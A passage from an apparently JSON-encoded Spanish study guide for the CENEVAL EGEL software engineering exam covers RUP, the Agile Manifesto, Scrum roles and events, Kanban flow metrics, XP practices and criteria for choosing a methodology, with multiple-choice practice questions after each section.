Cascada con retroalimentación  \nB) Modelo en Espiral de Barry Boehm  \nC) Programación Extrema (XP)  \nD) Modelo de Prototipado Desechable  \n\n### Reactivo 3\nUn equipo de ingeniería de software implementa el marco RUP (*Rational Unified Process*). Han concluido una fase en la que lograron construir un prototipo arquitectónico ejecutable que conecta el frontend con la base de datos distribuida, demostrando que los cuellos de botella de latencia han sido mitigados y los requerimientos críticos han sido estabilizados. El patrocinador aprueba el hito *Lifecycle Architecture Milestone* (LCA). ¿Qué fase del ciclo de vida de RUP acaban de culminar?\n\nA) Inicio (*Inception*)  \nB) Elaboración (*Elaboration*)  \nC) Construcción (*Construction*)  \nD) Transición (*Transition*)  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.3.*\n","title":"4.3.1 Modelos de ciclo de vida predictivos: Cascada, Modelo en V, Espiral y RUP"},{"children":[],"contentMd":"# 4.3.2 El Manifiesto Ágil y Marco Scrum: Roles, Eventos, Artefactos y Compromisos\n\nEl desarrollo ágil de software no es la ausencia de disciplina o documentación, sino una filosofía fundamentada en el **control empírico de procesos (transparencia, inspección y adaptación)** para entregar valor continuo en entornos caracterizados por la alta incertidumbre y el cambio constante.\n\nEn el CENEVAL EGEL, las preguntas sobre metodologías ágiles evalúan exhaustivamente las 4 declaraciones del **Manifiesto Ágil**, los roles, eventos, artefactos y compromisos formales de la **Guía de Scrum (Scrum Guide 2020)**, así como las fronteras estrictas de autoridad de cada miembro del equipo.\n\n---\n\n## 1. El Manifiesto Ágil (2001): 4 Valores y 12 Principios\n\nSurgido en Snowbird, Utah, por 17 líderes del desarrollo de software (incluyendo a Beck, Schwaber, Sutherland, Fowler y Martin), el manifiesto proclama 4 valores fundamentales:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                       LOS 4 VALORES DEL MANIFIESTO ÁGIL                     │\n├──────────────────────────────────────┬──────────────────────────────────────┤\n│ VALORAMOS MÁS A LA IZQUIERDA:        │ SOBRE LO QUE ESTÁ A LA DERECHA:      │\n├──────────────────────────────────────┼──────────────────────────────────────┤\n│ 1. Individuos e interacciones        │ sobre procesos y herramientas        │\n│ 2. Software funcionando              │ sobre documentación exhaustiva       │\n│ 3. Colaboración con el cliente       │ sobre negociación contractual        │\n│ 4. Respuesta ante el cambio          │ sobre seguimiento de un plan         │\n└──────────────────────────────────────┴──────────────────────────────────────┘\n(Aunque reconocemos valor en los elementos de la derecha, valoramos más los de la izquierda).\n```\n\n### Principios Ágiles Críticos para el EGEL\n* **Entrega continua temprana de software con valor**: La medida primaria de avance y progreso es el **software funcionando**, no el porcentaje de documentos o diagramas redactados.\n* **Aceptación del cambio**: Los cambios en los requerimientos son bienvenidos, incluso en etapas tardías del desarrollo; los procesos ágiles aprovechan el cambio como una ventaja competitiva para el cliente.\n* **Equipos motivados y autoorganizados**: Las mejores arquitecturas, requisitos y diseños surgen de equipos autoorganizados con la confianza y el entorno adecuado.\n* **Ritmo sostenible**: Los promotores, desarrolladores y usuarios deben ser capaces de mantener un ritmo de trabajo constante de forma indefinida (eliminación de horas extras crónicas o \"crunch\").\n\n---\n\n## 2. Los 3 Roles de Scrum (Accountabilities)\n\nLa versión oficial de Scrum define que no existen jerarquías tradicionales (jefe, subordinado, gerente de proyecto). Existe un único equipo Scrum (*Scrum Team*) conformado por:\n\n```\n                            ┌────────────────────────┐\n                            │       SCRUM TEAM       │\n                            │ (Típicamente ≤ 10 pers)│\n                            └───────────┬────────────┘\n         ┌──────────────────────────────┼──────────────────────────────┐\n         ▼                              ▼                              ▼\n┌──────────────────┐          ┌──────────────────┐          ┌──────────────────┐\n│  PRODUCT OWNER   │          │   SCRUM MASTER   │          │   DEVELOPERS     │\n├──────────────────┤          ├──────────────────┤          ├──────────────────┤\n│ • Maximiza el    │          │ • Líder servicial│          │ • Profesionales  │\n│   VALOR del prod.│          │   (Servant Leader│          │   que construyen │\n│ • Dueño exclusivo│          │ • Promueve Scrum │          │   el Incremento. │\n│   del Product    │          │ • Remueve        │          │ • Autoorganizados│\n│   Backlog (PB).  │          │   impedimentos   │          │   y polivalentes.│\n│ • Voz del cliente│          │ • Protege al     │          │ • Estiman el     │\n│ • UNA SOLA pers. │          │   equipo externo │          │   esfuerzo de PB │\n└──────────────────┘          └──────────────────┘          └──────────────────┘\n```\n\n### Límites Estrictos de Autoridad (Focos de Pregunta CENEVAL)\n\n1. **Product Owner (PO)**:\n   * Es el **único responsable** de gestionar y ordenar el *Product Backlog* en función del retorno de inversión y valor de negocio.\n   * Decide **QUÉ** se construye y en qué orden de prioridad.\n   * Acepta o rechaza los incrementos funcionales presentados en la revisión.\n   * **REGLA EGEL**: El PO **NO** asigna tareas a los desarrolladores, **NO** impone la arquitectura técnica, ni estima las horas que tomará programar un ítem. Debe ser **una sola persona**, nunca un comité.\n\n2. **Scrum Master (SM)**:\n   * Es un **líder servicial** (*Leader who serves*) enfocado en la efectividad del equipo y la adopción de Scrum.\n   * Su función es **eliminar obstáculos e impedimentos organizacionales** que los desarrolladores no pueden resolver por sí mismos (ej. falta de accesos a servidores, burocracia con otros departamentos, intromisiones del cliente).\n   * **REGLA EGEL**: El Scrum Master **NO es el jefe de proyecto**, **NO reparte el trabajo**, **NO despide ni evalúa al personal**, ni actúa como secretario administrativo de actas.\n\n3. **Developers (Equipo de Desarrollo)**:\n   * Son profesionales multidisciplinarios (diseñadores, programadores, testers, arquitectos) que se comprometen a crear un **Incremento utilizable** en cada Sprint.\n   * Deciden **CÓMO** se construye la solución técnica.\n   * Son los **únicos autorizados para estimar el esfuerzo** de los ítems del Product Backlog (el PO o SM no pueden imponer estimaciones).\n   * Se autoorganizan: ningún miembro externo al Scrum Team les dice cómo convertir el Product Backlog en incrementos de software.\n\n---\n\n## 3. Los 5 Eventos Formales de Scrum (*Timeboxes*)\n\nTodos los eventos de Scrum están acotados en el tiempo (*timeboxed*). Una vez que el tiempo expira, el evento finaliza:\n\n| Evento | Propósito Principal | Duración Máxima (Sprint de 1 mes) | Asistentes Clave |\n| :--- | :--- | :---: | :--- |\n| **El Sprint** | Contenedor de todos los demás eventos. Es el corazón de Scrum donde las ideas se convierten en valor entregable. | **1 a 4 semanas** (duración fija invariable). | Todo el Scrum Team. |\n| **Sprint Planning (Planificación)** | Establece **QUÉ** se puede entregar en el Sprint y **CÓMO** se logrará el trabajo. Da origen al *Sprint Goal*. | **Máximo 8 horas** (para 1 mes) o proporcional (2-4 h para 2 semanas). | Scrum Team completo (PO, SM, Devs). |\n| **Daily Scrum (Reunión Diaria)** | Inspeccionar el avance hacia el *Sprint Goal* y adaptar el plan de trabajo diario. | **Exactamente 15 minutos** todos los días laborales. | Developers (SM y PO asisten solo si tienen tareas como developers). |\n| **Sprint Review (Revisión)** | Inspeccionar el **Incremento terminado** junto a los *Stakeholders* (usuarios/patrocinadores) y adaptar el *Product Backlog*. | **Máximo 4 horas** (para 1 mes). | Scrum Team completo + Patrocinadores y Clientes invitados. |\n| **Sprint Retrospective (Retrospectiva)** | Inspeccionar cómo fue el último Sprint respecto a **personas, relaciones interpersonales, procesos y herramientas**. Diseñar un plan de mejora continua para el siguiente ciclo. | **Máximo 3 horas** (para 1 mes). | Exclusivamente el **Scrum Team** (PO, SM, Developers). |\n\n\u003e **Trampa Clásica EGEL: Sprint Review vs Retrospectiva**:\n\u003e * En la **Sprint Review** se inspecciona el **PRODUCTO** (el software terminado) con clientes e interesados externos.\n\u003e * En la **Sprint Retrospective** se inspecciona el **EQUIPO Y SU FORMA DE TRABAJAR** (procesos internos y relaciones) sin clientes externos.\n\n---\n\n## 4. Los 3 Artefactos de Scrum y sus Compromisos Asociados\n\nLa Guía de Scrum 2020 vincula de forma explícita cada artefacto con un **compromiso formal** que garantiza transparencia y foco:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                 ARTEFACTOS DE SCRUM Y SUS COMPROMISOS FORMALES              │\n├───────────────────────────────┬─────────────────────────────────────────────┤\n│         ARTEFACTO             │             COMPROMISO ASOCIADO             │\n├───────────────────────────────┼─────────────────────────────────────────────┤\n│ 1. Product Backlog            │ ➔  Product Goal (Objetivo del Producto)     │\n│    (Lista ordenada de todo    │    Describe el estado futuro del producto   │\n│     lo requerido en el prod)  │    que sirve como objetivo a largo plazo.   │\n├───────────────────────────────┼─────────────────────────────────────────────┤\n│ 2. Sprint Backlog             │ ➔  Sprint Goal (Objetivo del Sprint)        │\n│    (Ítems seleccionados +     │    La única meta inmutable del Sprint que   │\n│     plan técnico detallado)   │    ofrece coherencia y guía al equipo.      │\n├───────────────────────────────┼─────────────────────────────────────────────┤\n│ 3. Incremento (Increment)     │ ➔  Definition of Done (DoD)                 │\n│    (Suma de ítems terminados  │    Criterio formal que certifica que el     │\n│     totalmente operativos)    │    código cumple los estándares de calidad. │\n└───────────────────────────────┴─────────────────────────────────────────────┘\n```\n\n### Definition of Ready (DoR) vs Definition of Done (DoD)\n* **Definition of Ready (DoR)**: Criterios que una Historia de Usuario o ítem debe cumplir antes de ser admitida en el Sprint Planning (ej. tener criterios de aceptación claros, estimación, sin bloqueos externos).\n* **Definition of Done (DoD)**: Acuerdo formal del equipo sobre los estándares técnicos que debe satisfacer una funcionalidad para considerarse \"Terminada\" (ej. código revisado por pares, 80% cobertura unitaria, compilación exitosa en CI/CD, sin bugs severos abiertos, documentación técnica actualizada).\n* **Regla Inviolable**: Si un ítem no cumple la Definition of Done, **no puede ser presentado en la Sprint Review ni ser lanzado a producción**. Vuelve al Product Backlog.\n\n---\n\n## 5. Trampas Críticas CENEVAL EGEL\n\n1. **Trampa: Pensar que el Sprint Goal puede cambiarse durante el Sprint**.\n   * *La clave*: El alcance detallado de las tareas técnicas puede renegociarse entre el PO y los Developers conforme se aprende más, pero **el Sprint Goal es inmutable**. Si el Sprint Goal queda obsoleto por un cambio drástico del mercado, el único autorizado para **cancelar el Sprint** de forma anticipada es el **Product Owner**.\n2. **Trampa: Creer que el Scrum Master es quien asigna las historias de usuario**.\n   * *La clave*: Los Developers eligen de forma autónoma qué historias jalar del Product Backlog ordenado por el PO. El SM jamás reparte trabajo.\n3. **Trampa: Confundir Historias de Usuario con Requisitos RUP**.\n   * *La clave*: Las historias de usuario ágiles siguen el formato centrado en valor: *\"Como [rol], quiero [funcionalidad] para [beneficio de negocio]\"*, acompañadas de **Criterios de Aceptación** bajo el patrón BDD (*Given-When-Then*).\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nA mitad del Sprint 4, el Gerente de Ventas de la compañía se acerca directamente al puesto de uno de los desarrolladores del equipo Scrum y le exige con carácter de urgencia que suspenda la programación del módulo de cobro para crear un reporte especial en PDF que necesita mostrar a un cliente potencial esa misma tarde. Según las reglas formales de Scrum, ¿cómo debe actuar el desarrollador ante esta solicitud?\n\nA) Acceder a la petición del gerente de ventas de inmediato para cumplir con el valor de colaboración con el cliente  \nB) Solicitar autorización al Scrum Master para que este reasigne formalmente el trabajo en el tablero  \nC) Explicar amablemente al gerente de ventas que cualquier nuevo requerimiento debe ser canalizado exclusivamente a través del Product Owner, continuando con las actividades del Sprint Goal  \nD) Suspender el Sprint de forma inmediata y convocar a una retrospectiva extraordinaria  \n\n### Reactivo 2\nDurante la reunión de planificación del Sprint (*Sprint Planning*), el Product Owner argumenta que la historia de usuario \"Módulo de Facturación Electrónica\" es indispensable para el negocio y exige que sea estimada en 3 puntos de historia para que quepa en el Sprint actual, a pesar de que los desarrolladores determinaron por consenso que su esfuerzo real equivale a 13 puntos. ¿Quién tiene la autoridad formal dentro de Scrum para fijar la estimación de esfuerzo de los ítems de desarrollo?\n\nA) El Product Owner, por ser el máximo responsable del retorno de inversión y valor de negocio  \nB) El Scrum Master, como árbitro imparcial del marco metodológico  \nC) Los Developers, dado que son los profesionales que ejecutarán directamente el trabajo técnico  \nD) El comité de arquitectura corporativa de la organización  \n\n### Reactivo 3\nAl finalizar el Sprint, un equipo de desarrollo presenta en la sesión de revisión una nueva función de autenticación biométrica. Aunque el código funciona en el entorno local del programador, la funcionalidad carece de pruebas unitarias automatizadas y no ha superado el escaneo estático de vulnerabilidades, requisitos explícitamente contemplados en la *Definition of Done (DoD)* del equipo. ¿Qué determinación debe tomarse con dicho ítem?\n\nA) Presentarlo a los clientes en la Sprint Review explicando que las pruebas se realizarán durante el siguiente ciclo  \nB) No considerarlo terminado, no presentarlo en la Review y regresarlo al Product Backlog para que el PO decida su priorización futura  \nC) Reducir temporalmente los criterios de la Definition of Done mediante acuerdo con el Scrum Master para permitir el despliegue  \nD) Darlo por concluido con un 85% de avance acumulado en la gráfica de Burndown  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.3.*\n","title":"4.3.2 El Manifiesto Ágil y marco Scrum: Roles, eventos, artefactos y compromisos"},{"children":[],"contentMd":"# 4.3.3 Kanban, Métricas de Flujo (WIP, CFD) y Extreme Programming (XP)\n\nDentro del ecosistema ágil y lean, dos metodologías destacan por su rigor operativo y técnico en el examen CENEVAL EGEL: el método **Kanban** (orientado a la optimización del flujo continuo y la limitación del trabajo en proceso) y **Extreme Programming (XP)** (enfocado en la excelencia de la ingeniería de código y la retroalimentación técnica ultra-rápida).\n\n---\n\n## 1. El Método Kanban: Principios y las 6 Prácticas Esenciales\n\nFormulado por David J. Anderson a partir del Sistema de Producción Toyota (*TPS/Lean*), Kanban es un método para gestionar y mejorar la entrega de servicios profesionales de software mediante un **sistema de tracción (*Pull System*)** continuo sin iteraciones fijas obligatorias.\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                          TABLERO KANBAN PROFESIONAL                         │\n├───────────────┬─────────────────────────────┬───────────────────────────────┤\n│ BACKLOG (Pull)│   EN DESARROLLO [WIP: 3]    │     EN PRUEBAS [WIP: 2]       │\n├───────────────┼──────────────┬──────────────┼──────────────┬────────────────┤\n│               │  Haciendo    │    Hecho     │   Haciendo   │     Hecho      │\n│ [Historia A]  │ [Historia C] │ [Historia D] │ [Historia E] │                │\n│ [Historia B]  │              │              │              │                │\n└───────────────┴──────────────┴──────────────┴──────────────┴────────────────┘\n                                                       ▲\n                                        ¡Cuello de botella si WIP se satura!\n```\n\n### Las 6 Prácticas Generales de Kanban\n1. **Visualizar el Flujo de Trabajo**: Utilizar tableros que reflejen cada estado real por el que transita una tarea desde la concepción hasta el despliegue.\n2. **Limitar el Trabajo en Progreso (*WIP Limits*)**: Restringir el número máximo de ítems permitidos simultáneamente en cada columna del tablero.\n3. **Gestionar el Flujo (*Manage Flow*)**: Identificar y desatorar cuellos de botella para que el trabajo se mueva de forma fluida y predecible.\n4. **Hacer Explícitas las Políticas del Proceso**: Definir con precisión las reglas de entrada y salida de cada columna (ej. *\"Para pasar a pruebas, debe contar con un PR aprobado y build verde\"*).\n5. **Implementar Bucles de Retroalimentación (*Cadences*)**: Reuniones de sincronización diarias (*Standup*), revisiones de entrega de servicios y retrospectivas.\n6. **Mejorar Colaborativamente y Evolucionar Experimentalmente (*Kaizen*)**: Usar métricas científicas para guiar el cambio continuo.\n\n---\n\n## 2. La Ley de Little y Límites WIP (*Work In Progress*)\n\nUno de los aportes matemáticos más trascendentes en la gestión del flujo es la **Ley de Little** (formulada por John Little en teoría de colas):\n\n$$WIP = TH \\times CT$$\n\nDespejando para el **Tiempo de Ciclo (*Cycle Time*, $CT$)**:\n\n$$CT = \\frac{WIP}{TH}$$\n\n* $WIP$ (*Work In Progress*): Cantidad de tareas activas abiertas en el sistema de desarrollo.\n* $TH$ (*Throughput* / Rendimiento): Tasa promedio de tareas terminadas por unidad de tiempo (ej. 5 historias por semana).\n* $CT$ (*Cycle Time*): Tiempo promedio que toma completar una tarea desde que se inicia su trabajo.\n\n### La Conclusión Operativa de la Ley de Little (Pregunta Clave EGEL)\nSi deseas **entregar más rápido** (reducir el $CT$):\n* **No puedes simplemente \"exigirle al equipo que trabaje más rápido\"**. El *Throughput* de un equipo es relativamente estable.\n* La palanca matemática fundamental para acelerar la entrega es **reducir el WIP (limitar el trabajo en progreso)**.\n* **Paradigma Lean**: *\"Deja de empezar y empieza a terminar\"* (*Stop starting, start finishing*). Disminuir la multitarea reduce el costo de cambio de contexto (*context switching*) y expone inmediatamente los cuellos de botella.\n\n---\n\n## 3. Métricas de Flujo: Lead Time, Cycle Time y el Diagrama CFD\n\n```\nPetición del cliente                                              Despliegue a Prod\n       │                                                                  │\n       ▼                                                                  ▼\n  [ Solicitada ] ──────► [ En Progreso ] ──────► [ Pruebas ] ──────► [ Terminada ]\n       │                        │                                         │\n       └────────────────────────┼─────────────────────────────────────────┘\n       │                        │                   LEAD TIME             │\n       │                        └─────────────────────────────────────────┘\n       │                                            CYCLE TIME            │\n```\n\n* **Tiempo de Entrega (*Lead Time*)**: Tiempo transcurrido desde que la necesidad es solicitada por el usuario en el backlog hasta que es entregada de forma operativa en producción. Mide la experiencia del cliente.\n* **Tiempo de Ciclo (*Cycle Time*)**: Tiempo transcurrido desde que un desarrollador toma activamente la tarea y la pasa a \"En Progreso\" hasta que se completa. Mide la eficiencia interna del equipo técnico.\n\n### El Diagrama de Flujo Acumulado (*Cumulative Flow Diagram - CFD*)\n\nEs la herramienta gráfica más poderosa para supervisar la estabilidad de un sistema Kanban:\n\n```\nÍtems\n  ▲                                            / Terminadas (Hecho)\n  │                                           /\n  │                           |◄─ CYCLE ──►| /\n  │                           |    TIME    |/\n  │                       ┌───┼───────────/\n  │                       │   │          /\n  │                       │WIP│         /\n  │                       │   │        /  En Progreso\n  │                       └───┼───────/\n  │                           │      /\n  │                          /      /\n  │                         /      /\n  │                        /      /  Por Hacer (Backlog)\n  │                       /      /\n  └──────────────────────┴──────┴────────────────────────► Tiempo\n```\n\n* **Distancia Horizontal entre bandas**: Representa el **Tiempo de Ciclo (*Cycle Time*)** o Lead Time promedio.\n* **Distancia Vertical entre bandas**: Representa la cantidad exacta de **Trabajo en Progreso ($WIP$)** en un instante dado.\n* **Pendiente de la curva superior**: Representa el **Rendimiento (*Throughput*)**.\n* **Diagnóstico de Patologías**:\n  * Si la banda de \"En Progreso\" se ensancha continuamente de forma vertical, indica que **se está acumulando trabajo y existe un cuello de botella severo** aguas abajo (ej. las tareas se apilan en pruebas y no logran salir a producción).\n\n---\n\n## 4. Extreme Programming (XP): La Metodología Técnica\n\nCreada por Kent Beck, Ward Cunningham y Ron Jeffries, **Extreme Programming (XP)** es la metodología ágil que lleva las prácticas de ingeniería de software a sus niveles más intensos y disciplinados (\"llevar la perilla al 10\").\n\n```\n                              VALORES CENTRALES DE XP\n                   [ Comunicación ] ── [ Simplicidad ] ── [ Respeto ]\n                                  \\       /\n                                   \\     /\n                          [ Retroalimentación ]\n                                     │\n                                 [ Coraje ]\n```\n\n### Las Prácticas Técnicas Distintivas de XP\n\n| Práctica XP | En qué Consiste | Beneficio Técnico Inmediato |\n| :--- | :--- | :--- |\n| **Programación en Parejas (*Pair Programming*)** | Dos desarrolladores trabajan en la misma estación. Uno actúa como **Conductor (*Driver*)** (escribe el código y se enfoca en la sintaxis) y el otro como **Navegante (*Navigator*)** (revisa la arquitectura, busca errores y piensa en el panorama estratégico). | Inspección continua de código en tiempo real; transferencia constante de conocimiento; erradica el Factor Autobús. |\n| **Desarrollo Guiado por Pruebas (*TDD*)** | Ciclo estricto **Red-Green-Refactor**: escribir primero una prueba unitaria que falle (Red), escribir el código mínimo para pasarla (Green) y refactorizar para limpiar el diseño (Refactor). | Diseño desacoplado, suite de regresión 100% automatizada y eliminación del miedo al cambio. |\n| **Integración Continua (*Continuous Integration*)** | Los desarrolladores integran y compilan su código en la rama principal (*trunk*) **múltiples veces al día** contra pruebas automatizadas. | Evita el \"infierno del merge\" (*Merge Hell*) y detecta incompatibilidades en cuestión de minutos. |\n| **Propiedad Colectiva del Código (*Collective Ownership*)** | Nadie es \"dueño exclusivo\" de un archivo o clase. Cualquier desarrollador del equipo tiene el derecho y la obligación de mejorar o refactorizar cualquier parte del código base. | Elimina cuellos de botella organizacionales por desarrolladores \"estrella\" aislados. |\n| **Diseño Simple (*Simple Design*)** | Reglas de Kent Beck: 1) Pasa todas las pruebas; 2) Revela la intención claramente; 3) No contiene duplicación (DRY); 4) Contiene el menor número posible de elementos (clases/métodos). | Evita la sobre-ingeniería anticipada (*YAGNI - You Aren't Gonna Need It*). |\n| **Cliente en el Sitio (*On-site Customer*)** | Un representante real y facultado del negocio está físicamente integrado con el equipo de desarrollo para responder dudas técnicas y de negocio al instante. | Elimina la latencia de comunicación y previene interpretaciones erróneas de los requerimientos. |\n| **Ritmo Sostenible (*Sustainable Pace*)** | Jornada laboral estandarizada (habitualmente 40 horas semanales). Prohibición de horas extras consecutivas. | Programadores descansados cometen hasta un 80% menos defectos que programadores agotados. |\n\n---\n\n## 5. Tabla Comparativa: Scrum vs Kanban vs XP\n\n| Dimensión | Scrum | Kanban | Extreme Programming (XP) |\n| :--- | :--- | :--- | :--- |\n| **Cadencia / Ritmo** | Iteraciones fijas de 1 a 4 semanas (*Sprints*). | **Flujo continuo** impulsado por eventos (sin iteraciones obligatorias). | Iteraciones muy cortas (1 a 2 semanas). |\n| **Límite al Trabajo** | Limitado por la capacidad comprometida en el Sprint. | **Límites directos de WIP** por columna en el tablero. | Limitado por la velocidad del equipo y TDD. |\n| **Roles Formales** | PO, SM, Developers (estrictamente 3). | **Sin roles predefinidos** (se adapta a la estructura existente). | Roles enfocados en ingeniería (Coach, Tracker, Programador, Cliente). |\n| **Cambios en Marcha** | No se permiten cambios que comprometan el *Sprint Goal*. | Se admiten cambios en cualquier momento en la columna \"Por Hacer\". | Los cambios se incorporan en la siguiente iteración corta. |\n| **Enfoque Primario** | Gestión de producto y trabajo en equipo. | Optimización del flujo y eficiencia de procesos. | **Prácticas de ingeniería de código y excelencia técnica**. |\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Reactivo 1\nEn el tablero de un equipo que aplica el método Kanban, la columna \"En Pruebas de Calidad\" tiene establecido un límite de trabajo en progreso ($WIP$) de 3 tareas y actualmente se encuentran 3 historias en dicha fase. Dos desarrolladores han terminado de programar sendas funcionalidades en la columna previa \"En Desarrollo\" y desean pasarlas de inmediato a la columna de pruebas para comenzar con nuevas tareas del backlog. Siguiendo las reglas de un sistema de tracción (*Pull System*) en Kanban, ¿qué acción deben emprender los desarrolladores?\n\nA) Incrementar temporalmente el límite WIP de la columna de pruebas a 5 para no detener el ritmo de codificación  \nB) Empujar las dos historias a la columna de pruebas y comenzar a programar dos nuevas tareas del backlog  \nC) Respetar el límite WIP de pruebas, abstenerse de enviar las tareas y colaborar activamente con el equipo de control de calidad para desatorar las historias en curso antes de jalar nuevo trabajo (*Stop starting, start finishing*)  \nD) Asignar las dos historias a la columna \"Terminado\" asumiendo que pasarán las pruebas automáticamente  \n\n### Reactivo 2\nUn equipo de ingeniería implementa las prácticas técnicas de Extreme Programming (XP). Durante la jornada matutina, dos ingenieros se sientan frente al mismo monitor: el primero escribe una prueba automatizada para la función de validación de tarjetas de crédito y luego redacta el código estricto para hacerla compilar y pasar; el segundo analiza en tiempo real la claridad de los nombres de las variables, evalúa si se están violando principios SOLID y diseña mentalmente los casos de frontera para la siguiente prueba. ¿Qué práctica técnica de XP están ejerciendo y cómo se denominan sus roles?\n\nA) Inspección Formal de Fagan; Moderador y Autor  \nB) Programación en Parejas (*Pair Programming*); Conductor (*Driver*) y Navegante (*Navigator*)  \nC) Integración Continua; Operador de Build y Revisor de PR  \nD) Refactorización Continua; Auditor y Programador  \n\n### Reactivo 3\nAl analizar el Diagrama de Flujo Acumulado (*CFD*) de los últimos tres meses de un proyecto de software, el líder técnico observa que la distancia vertical entre la línea de \"Trabajo en Desarrollo\" y la línea de \"Puesto en Producción\" se incrementa de forma continua semana a semana, formando un cono divergente. Según los fundamentos de la teoría de colas y la Ley de Little, ¿qué fenómeno está ocurriendo en el flujo del sistema?\n\nA) El tiempo de ciclo (*Cycle Time*) está disminuyendo y el equipo es cada vez más eficiente  \nB) Se está produciendo una acumulación descontrolada de trabajo en progreso ($WIP$), lo que provocará un aumento severo en el tiempo promedio de entrega (*Lead Time*)  \nC) La tasa de entrega (*Throughput*) ha superado la capacidad de absorción del cliente  \nD) El equipo ha alcanzado un estado óptimo de flujo balanceado (*Kaizen*)  \n\n---\n*Las justificaciones detalladas y el análisis paso a paso de distractores se encuentran en la lección final de soluciones de la subárea 4.3.*\n","title":"4.3.3 Kanban, métricas de flujo (WIP, CFD) y Extreme Programming (XP)"},{"children":[],"contentMd":"# 4.3.4 Comparativa y Criterios de Selección Metodológica: Modelos Predictivos vs Ágiles vs Híbridos\n\nEn la práctica profesional de la ingeniería de software y en las evaluaciones de titulación del CENEVAL EGEL, no existe una metodología \"bala de plata\" universalmente superior a las demás. La excelencia de un ingeniero radica en saber **diagnosticar el contexto operacional del proyecto** y seleccionar el ciclo de vida óptimo en función del nivel de incertidumbre técnica, estabilidad de los requerimientos, criticidad de la seguridad y restricciones contractuales.\n\n---\n\n## 1. Marcos de Diagnóstico de Complejidad e Incertidumbre\n\nPara justificar objetivamente la elección de un enfoque metodológico, la ingeniería de software se apoya en dos modelos analíticos fundamentales:\n\n### La Matriz de Acuerdo y Certeza de Ralph Stacey\n\n```\n  Incertidumbre en la Tecnología (CÓMO)\n      ▲\n  Alto│                                           CAOS\n      │                                    (Prototipos extremos)\n      │\n      │                  COMPLEJO\n      │              (Enfoques Ágiles:\n      │               Scrum, Kanban, XP)\n      │\n      │   COMPLICADO\n      │  (Enfoques Predictivos\n      │   o Híbridos: RUP, Espiral)\n      │\n      │   SIMPLE\n      │  (Predictivo / Cascada / V)\n  Bajo└────────────────────────────────────────────────────────► Alto\n      Bajo           Incertidumbre en Requerimientos (QUÉ)\n```\n\n1. **Zona Simple**: Requerimientos conocidos y tecnología probada. Existe relación directa causa-efecto. $\\rightarrow$ **Cascada (*Waterfall*) o Modelo en V**.\n2. **Zona Complicada**: Se requiere análisis y peritaje experto multidisciplinario para diseñar la solución antes de construirla. $\\rightarrow$ **RUP o Modelo en Espiral**.\n3. **Zona Compleja**: Requerimientos volátiles y/o tecnología emergente no probada. Imposible predecir el comportamiento final sin iterar y obtener retroalimentación continua con usuarios reales. $\\rightarrow$ **Scrum / Extreme Programming / Kanban**.\n4. **Zona de Caos**: Pérdida total de control operativo o catástrofe tecnológica. Se actúa de inmediato para restablecer el orden. $\\rightarrow$ **Intervención de emergencia / spikes destructivos**.\n\n---\n\n## 2. Inversión del Triángulo de Hierro de Planificación\n\nLa diferencia medular entre los paradigmas predictivo y adaptativo radica en qué variables son **fijas** y cuáles son **estimadas**:\n\n```\n           ENFOQUE PREDICTIVO (Cascada/RUP)              ENFOQUE ÁGIL (Scrum/XP)\n\n                   ALCANCE (Fijo)                         TIEMPO Y COSTO (Fijos)\n                ┌──────────────────┐                       ┌──────────────────┐\n                 \\                /                         \\                /\n                  \\              /                           \\              /\n                   \\            /                             \\            /\n                    \\          /                               \\          /\n                     \\        /                                 \\        /\n                      \\      /                                   \\      /\n                       \\    /                                     \\    /\n                        \\  /                                       \\  /\n                         ▼                                          ▼\n                TIEMPO Y COSTO (Estimados)                    ALCANCE (Estimado)\n```\n\n* **Paradigma Predictivo Tradicional**:\n  * El **Alcance** se congela contractualmente al inicio.\n  * El **Tiempo** y el **Costo** se calculan como variables dependientes derivadas (si el alcance cambia, el cronograma y el presupuesto explotan).\n* **Paradigma Adaptativo Ágil**:\n  * El **Tiempo** (duración fija del Sprint de 2 semanas) y el **Costo** (número fijo de desarrolladores en el equipo) son constantes y predecibles.\n  * El **Alcance** es la variable flexible: se prioriza por valor de negocio y se entrega la mayor cantidad posible de características dentro del tiempo estipulado.\n\n---\n\n## 3. Matriz Comparativa Multidimensional de Metodologías\n\n| Criterio de Selección | Cascada (*Waterfall*) | Modelo en V | Espiral de Boehm | RUP (*Unified Process*) | Scrum | Kanban | Extreme Programming (XP) |\n| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |\n| **Estabilidad Requisitos** | Alta / Congelados | Alta / Congelados | Media / En evolución | Media / Evolución controlada | Baja / Muy volátiles | Dinámicos / Flujo continuo | Baja / Muy volátiles |\n| **Complejidad Técnica** | Baja a Media | Media / Alta | **Extremadamente Alta** | Alta / Arquitectura crítica | Media a Alta | Media / Mantenimiento continuo | Alta / Exigencia técnica extrema |\n| **Criticidad del Sistema** | Media | **Muy Alta (Misión Crítica)** | Alta | Alta | Media a Alta | Media | Media a Alta |\n| **Entrega de Valor** | Única al final | Única al final | Prototipos por ciclo | Incrementos al final de fases | **Al final de cada Sprint (1-4 sem)** | **Flujo continuo por ítem** | **Incrementos en 1-2 semanas** |\n| **Gestión de Riesgos** | Retrasada al final | En pruebas tempranas | **En cada ciclo (prioridad)** | En fase de Elaboración | En cada Sprint Planning / Retro | Visualizando cuellos de botella | TDD, Pair programming, CI |\n| **Relación con Cliente** | Formal / Contractual | Formal / Contractual | Evaluador de prototipos | Validación de hitos | **Colaboración continua (PO)** | En revisiones de servicio | **Cliente en el sitio (*On-site*)** |\n| **Costo del Cambio** | Exponencial | Exponencial | Moderado | Controlado por arquitectura | Muy bajo | Mínimo | Mínimo (absorbido por refactor) |\n\n---\n\n## 4. Modelos Híbridos (*Hybrid Agile-Predictive*)\n\nEn la realidad corporativa, la inmensa mayoría de las organizaciones no operan en un estado ágil puro ni predictivo puro. Utilizan modelos híbridos adaptados a sus requerimientos de gobernanza y cumplimiento:\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                 MODELO HÍBRIDO (WATER-SCRUM-FALL) COMÚN                     │\n├──────────────────────────┬──────────────────────────┬───────────────────────┤\n│    FASE INICIAL          │     FASE DE EJECUCIÓN    │     